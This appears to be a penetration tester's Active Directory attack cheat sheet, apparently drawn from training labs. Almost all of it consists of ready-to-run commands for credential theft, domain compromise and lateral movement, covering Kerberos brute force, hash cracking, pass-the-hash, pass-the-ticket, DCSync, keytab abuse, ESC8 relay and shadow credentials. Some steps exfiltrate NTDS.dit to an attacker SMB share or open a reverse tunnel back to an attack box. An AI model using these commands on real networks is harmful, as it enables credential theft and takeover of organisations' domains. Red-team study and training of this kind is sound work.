Username Harvesting
$ kerbrute userenum --dc 10.129.201.57 --domain victim.local names.txt
Password Harvesting
It's possible to create a show copy of the C drive and then pull the ntds.dit from that shadow copy.
Harvesting from Shadow Copy
# on target, create shadow copy
> vssadmin CREATE SHADOW /For=C:
# copy ntds
> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# exfill ntds
> cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData
# on attack box, extract secrets
$ impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
Harvesting with NetExec
You can perform the same steps as above all at once with netexec:
$ netexec smb 10.10.10.100 -u username -p P@55w0rd! -M ntdsutil
Password Brute Force
# install kerbrute
$ wget -q https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -O kerbrute
# brute force password list against user
$ ./kerbrute bruteuser -d ILF.local --dc 10.129.51.247 /usr/share/wordlists/fasttrack.txt jmarston
Password Cracking
For general password cracking guidelines, see Password Cracking
Cracking ASREProast Hashes
$ hashcat -m18200 ASREPROAST.txt /usr/share/wordlists/rockyou.txt
Cracking Kerberoast Hashes
# crack kerberos 5 etype 18 (AES-256), TGS-REP. slowest
$ hashcat -m19700 kerberoast.txt /usr/share/wordlists/rockyou.txt
# crack kerberos 5 etype 17 (AES-128), TGS-REP. slow
$ hashcat -m19600 kerberoast.txt /usr/share/wordlists/rockyou.txt
# crack kerberos 5 etype 23 (legacy RC4-HMAC), TGS-REP. fastest
$ hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Pass The Hash
We don't always need to crack the password to move laterally, we can also take the hash and use it for authentication
# PtH with mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:username /rc4:64F12CDDAA8...1B54E73B949B /domain:target.xyz /run:cmd.exe" exit
# PtH with Invoke-SMBExec
# https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username username -Hash 64F12CDDAA8...1B54E73B949B -Command "powershell -e JABjA...ApAA==" -Verbose
Pass the Ticket
Alternatively, we can use a stolen Kerberos ticket for lateral movement instead of a NTLM hash. - Ticket Granting Ticket (TGT) is the initial ticket that allows granting other tickets - User encrypts the current timestamp with their password hash. Domain controller is able to then decrypt the timestamp with the password hash stored in AD to confirm identity - Ticket Granting Service (TGS) is requested when a user wants to use a service - Requires sending the TGT to the Key Distribution Center (KDC) to grant the TGS for the specific service
# export tickets to .kirbi from mimikatz
> mimikatz.exe privilege::debug "sekurlsa::tickets /export" exit
# pass the ticket
> mimikatz.exe privilege::debug "kerberos::ptt \"C:\Users\Administrator.WIN01\Desktop\[0;1812a][email protected]\"" exit; powershell
# alternatively, export tickets from rubeus
> Rubeus.exe dump /nowrap
# spawn sacrificial process with rubeus
> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
# in newly spawned cmd, ptt with rubeus
> Rubeus.exe asktgt /user:john /domain:target.xyz /aes256:9279bcbd40db957a0ed0d3856b2e...763ce2713f11dc /ptt
Pass the Key - OverPass The Hash
Another technique that converts a ntlm hash into a full TGT
# print out kerberos keys
> mimikatz.exe privilege::debug "sekurlsa::ekeys" exit
# using one of the keys provided above, pass the key to spawn cmd.exe as user
> mimikatz.exe privilege::debug "sekurlsa::pth /domain:target.xyz /user:plaintext /ntlm:3f74aa8f08...9cd5177b5c1ce50f" exit
# alternatively, use rubeus to get tgt
> Rubeus.exe asktgt /domain:target.xyz /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbe...d911c6e15ead25641a8fda3fe60 /nowrap
Abusing KeyTab files on Linux
KeyTabs are Kerberos tickets saved on domain-joined linux boxes. They can be used to impersonate a user.
# view information about a found keytab file
$ klist -k -t /opt/specialfiles/carlos.keytab
# impersonating a user
$ kinit [email protected] -k -t /opt/specialfiles/carlos.keytab
# using kerberos to auth as the impersonated user
$ smbclient //dc01/carlos -k -c ls
Using KeyTabExtract, we can also pull NTLM hash for a pass the Hash attack:
# extract hashes from keytab
$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
DACL Abuse
AddMember
If the user has GenericAll, GenericWrite, Self, AllExtendedRights, or Self-Membership over a target group, we can add ourselves (or another account) into this group.
$ bloodyAD -u 'svc-account' -p 'password' -d target.local --host 10.129.10.10 add groupMember "Exchange Windows Permissions" 'svc-account'
DCSync
This technique allows a user to imitate the replication process of a remote domain controller to then dump NTDS credentials. It requires privileged access (groups such as Administrators, Domain Admins, Enterprise Admins, Domain Controller) or WriteDacl over the root domain object.
# grant DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights to dump credentials from domain controller
$ bloodyAD --u 'svc-account' -p 'password' -d target.local --host 10.129.10.10 add dcsync 'svc-account'
# dump NTDS hashes from domain controller
$ impacket-secretsdump -outputfile dcsync.txt -dc-ip 10.129.10.10 target/svc-account:[email protected]
# pass the hash to login via WinRM
$ evil-winrm -i 10.129.10.10 -u Administrator -H "32693b11e6aa90eb43d32c72a07ceea6"
Proxychains to Domain Controller
In more realistic scenarios, the domain controller / key distribution center is typically behind a firewall and not accessible from our non domain-joined attack box. We need to compromise a perimeter machine and then use chisel + proxychains to tunnel through to the DC/KDC for Kerberos auth. In this example, we are assuming we have a kerberos CCache we've already acquired, and have already compromised one windows machine to use for the tunnel. Another example of proxychains can be found here.
# on attackbox, configure hosts to set IPs for DC and victim server
$ sudo nano /etc/hosts
# configure proxychains config file to use socks5 and port 1080
$ sudo nano /etc/proxychains.conf
...
[ProxyList]
socks5 127.0.0.1 1080
...
# start chisel server
$ sudo ./chisel server --reverse
# transfer chisel onto the victim via any method, then connect back to attackbox
> chisel.exe client 10.10.10.10:8080 R:socks
# back on attackbox, set the ccache file to env var
$ export KRB5CCNAME=/home/kali/krb5cc_647401106_I8I133
# now use proxy chains + impacket to reach the DC
$ proxychains impacket-wmiexec dc01 -k
# alternatively, can use evil-winrm, but it requires additional prereqs
# install krb5-user, if not already installed
$ sudo apt-get krb5-user
# edit these sections of the krb5 config file and set default realm and mark the location of the KDC
$ sudo nano /etc/krb5.conf
[libdefaults]
default_realm = TARGET.XYZ
...
[realms]
TARGET.XYZ = {
kdc = dc01.target.xyz
}
...
# now use evil-winrm
$ proxychains evil-winrm -i dc01 -r target.xyz
AD CS NTLM Relay Attack ESC8
- Prereq: Certificate Authority must be configured to allow web enrollment
- Default endpoint is usually over HTTP at
/CertSrv- Attack will still work if HTTPS is enabled and Channel Binding is False
# use impacket to capture ntlm auth against the CA
$ impacket-ntlmrelayx -t http://10.0.0.50/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
# use PKINIT to get tgt https://github.com/dirkjanm/PKINITtools
$ python3 gettgtpkinit.py -cert-pfx ../krbrelayx/DC01\$.pfx -dc-ip 10.0.0.100 'target.xyz/dc01$' /tmp/dc.ccache
# load the kerberos cache file that was output
$ export KRB5CCNAME=/tmp/dc.ccache
# or certipy can directly be used to relay
certipy relay -target 'https://10.0.0.50'
# use a captured pfx from certipy's relay
certipy auth -pfx 'dc.pfx' -dc-ip '10.0.0.100'
The relays require waiting an indeterminate amount of time for a victim to authenticate before capturing a request. We can coerce a target to connect if it has the Printer Spooler running.
# ESC8 relay - coerce with printer bug
$ python3 printerbug.py TARGET.XYZ/username:"p@ssw0rd"@10.0.0.50 10.10.10.10
Shadow Credentials
Shadow Credentials abuse the msDS-KeyCredentialLink attribute of a victim user. This can be seen from Bloodhound via the AddKeyCredentialLink.
# use pywhisker to add a KeyCredential to msDS-KeyCredentialLink to target account to allow login
# https://github.com/ShutdownRepo/pywhisker
$ pywhisker --dc-ip 10.0.0.100 -d target.xyz -u username -p 'pa55w0rd' --target victimuser --action add
# use password and cert from above to laterally move to target user
# use PKINIT to get tgt https://github.com/dirkjanm/PKINITtools
$ python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.0.0.100 TARGET.XYZ/victimuser /tmp/victimuser.ccache
# load ccache
$ export KRB5CCNAME=/tmp/victimuser.ccache
# now proceed with post-exploit, ex. configure krb5.conf and evil-winrm
$ evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local